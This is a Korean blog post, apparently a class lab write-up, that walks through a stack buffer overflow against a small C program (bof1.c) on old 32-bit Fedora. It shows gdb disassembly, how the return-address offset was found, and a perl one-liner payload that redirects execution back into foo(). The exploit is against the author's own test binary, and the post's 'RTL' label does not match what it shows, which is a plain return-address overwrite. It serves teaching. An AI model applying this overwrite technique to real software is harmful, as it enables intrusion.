본문 바로가기

Linux/_Kernel

간단한 리눅스 RTL BOF

RTL BOF : (Return To Library Buffer Over Flow)


문제 환경 :

bof1.c : 공격대상 파일 소스
bof1    : 공격대상 실행파일

문제 실행 결과 :

[linuxer@sclclass2 s12091455]$ ./bof1
enter id
dakuo
you entered dakuo
program ends here

문제요구 조건 :  

RTL BOF 공격을 이용해
enter id 입력하는 구문으로 되돌아오기.

       enter id
       ..................
       you entered ..........
       enter id
       you entered .........
       ................



사전조사 :

[linuxer@sclclass2 ~]$ cd s12091455
[linuxer@sclclass2 s12091455]$ uname -r              // 리눅스 버전 확인
2.6.22.14-72.fc6

[linuxer@sclclass2 s12091455]$ cat ./bof1.c           // 공격대상 파일의 소스 확인
#include <stdio.h>

void foo()
{
        char id[5];
        printf("enter id\n");
        scanf("%s", id);
        printf("you entered %s \n", id);
}

int main()
{
        foo();
        printf("program ends here\n");
        return 0;
}

소스를 분석해보니 

foo() 의 리턴 어드레스(Return Address)를 foo() 의 시작 주소로 바꿔주면 될 것 같다.


gdb 분석 :

[linuxer@sclclass2 s12091455]$ gdb ./bof1
GNU gdb Fedora (6.8-10.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)
(gdb) disas main
Dump of assembler code for function main:
0x0804845e <main+0>:    lea    0x4(%esp),%ecx
0x08048462 <main+4>:    and    $0xfffffff0,%esp
0x08048465 <main+7>:    pushl  -0x4(%ecx)
0x08048468 <main+10>:   push   %ebp
0x08048469 <main+11>:   mov    %esp,%ebp
0x0804846b <main+13>:   push   %ecx
0x0804846c <main+14>:   sub    $0x4,%esp
0x0804846f <main+17>:   call   0x8048424 <foo>
0x08048474 <main+22>:   movl   $0x8048571,(%esp)
0x0804847b <main+29>:   call   0x8048354 <puts@plt>
0x08048480 <main+34>:   mov    $0x0,%eax
0x08048485 <main+39>:   add    $0x4,%esp
0x08048488 <main+42>:   pop    %ecx
0x08048489 <main+43>:   pop    %ebp
0x0804848a <main+44>:   lea    -0x4(%ecx),%esp
0x0804848d <main+47>:   ret
End of assembler dump.
(gdb) disas foo
Dump of assembler code for function foo:
0x08048424 <foo+0>:     push   %ebp
0x08048425 <foo+1>:     mov    %esp,%ebp
0x08048427 <foo+3>:     sub    $0x18,%esp
0x0804842a <foo+6>:     movl   $0x8048554,(%esp)
0x08048431 <foo+13>:    call   0x8048354 <puts@plt>
0x08048436 <foo+18>:    lea    -0x5(%ebp),%eax
0x08048439 <foo+21>:    mov    %eax,0x4(%esp)
0x0804843d <foo+25>:    movl   $0x804855d,(%esp)
0x08048444 <foo+32>:    call   0x8048334 <scanf@plt>
0x08048449 <foo+37>:    lea    -0x5(%ebp),%eax
0x0804844c <foo+40>:    mov    %eax,0x4(%esp)
0x08048450 <foo+44>:    movl   $0x8048560,(%esp)
0x08048457 <foo+51>:    call   0x8048344 <printf@plt>
0x0804845c <foo+56>:    leave
0x0804845d <foo+57>:    ret
End of assembler dump.
(gdb)

0x0804846f <main+17>:   call   0x8048424 <foo>  로

foo() 의 주소는 0x8048424 인것을 알수 있다.



버퍼의 사이즈 확인 :

GDB의 리턴어드레스 값 반환 이용 :

(gdb) r
Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
enter id
01234567
you entered 01234567
program ends here

Program exited normally.
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) r
Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
enter id
012345678
you entered 012345678

Program received signal SIGSEGV, Segmentation fault.
0x0099bfe1 in _dl_fini () from /lib/ld-linux.so.2
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
enter id
0123456789
you entered 0123456789

Program received signal SIGSEGV, Segmentation fault.
0x08040039 in ?? ()

01234567       의 8글자를 입력했을땐 아무 오류가 없었다.
012345678     의 9글자를 입력했을땐 Segmentation fault 발생하였다.
0123456789   의 10글자를 입력했을떈 리턴 어드레스 뒷부분의 값이 39로 변경되었다(아스키 코드값 : 9).

따라서 10번째 입력부터가 리턴 어드레스를 덮어쓴다는 것을 알수가 있다.


스택값으로 확인 :

(gdb) b *foo
Breakpoint 1 at 0x8048424
(gdb) r
Starting program: /home/linuxer/s12091455/bof1
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x08048424 in foo ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) ni
0x08048425 in foo ()
(gdb) ni
0x08048427 in foo ()
(gdb) ni
0x0804842a in foo ()
(gdb) ni
0x08048431 in foo ()
(gdb) ni
enter id
0x08048436 in foo ()
(gdb) ni
0x08048439 in foo ()
(gdb) ni
0x0804843d in foo ()
(gdb) ni
0x08048444 in foo ()
(gdb) ni
01234567
0x08048449 in foo ()
(gdb) x/32x $ebp
0xbf98d0f8:     0x00373635      0x08048474      0x0099bdd0      0xbf98d120
0xbf98d108:     0xbf98d178      0x009c75d6      0x080484a0      0x08048370
0xbf98d118:     0xbf98d178      0x009c75d6      0x00000001      0xbf98d1a4
0xbf98d128:     0xbf98d1ac      0x009aa810      0x00000000      0x00000001
0xbf98d138:     0x00000001      0x00000000      0x00b15ff4      0x00000000
0xbf98d148:     0x08048370      0xbf98d178      0x8bc6d07c      0x828fa702
0xbf98d158:     0x00000000      0x00000000      0x00000000      0x009a14d0
0xbf98d168:     0x009c74fd      0x009a9fc0      0x00000001      0x08048370

스택값을 ebp 기준으로 32 바이트를 읽어온 모습이다.

ebp 위의 4바이트는 main 함수의 SFP 위치가 저장되있고 그위 4바이트에 걸쳐 foo 함수의 리턴어드레스가 있다.
(참고 : 0x08048474 <main+22>:   movl   $0x8048571,(%esp))

우리가 입력한 값 01234567(NULL) 에서 567(NULL) 이 SFP 자리의 3바이트를 채웠다.
(35363700(리틀엔디안) : 373635)

따라서 012345679 의 9자리를 입력하고 나서 다음 입력값부터 리턴 어드레스를 덮어쓴다는 것을 알 수 있다.



공격구문 완성 :

[linuxer@sclclass2 s12091455]$ (perl -e 'print "A"x9,"\x24\x84\x04\x08"';cat)|./bof1

(앞의 9칸을 쓰레기값으로 채우고 리턴 어드레스를 덮어쓸 foo() 의 시작주소를 넣어준다)

enter id

you entered AAAAAAAAA$
enter id


공격이 성공한 것을 알수 있다.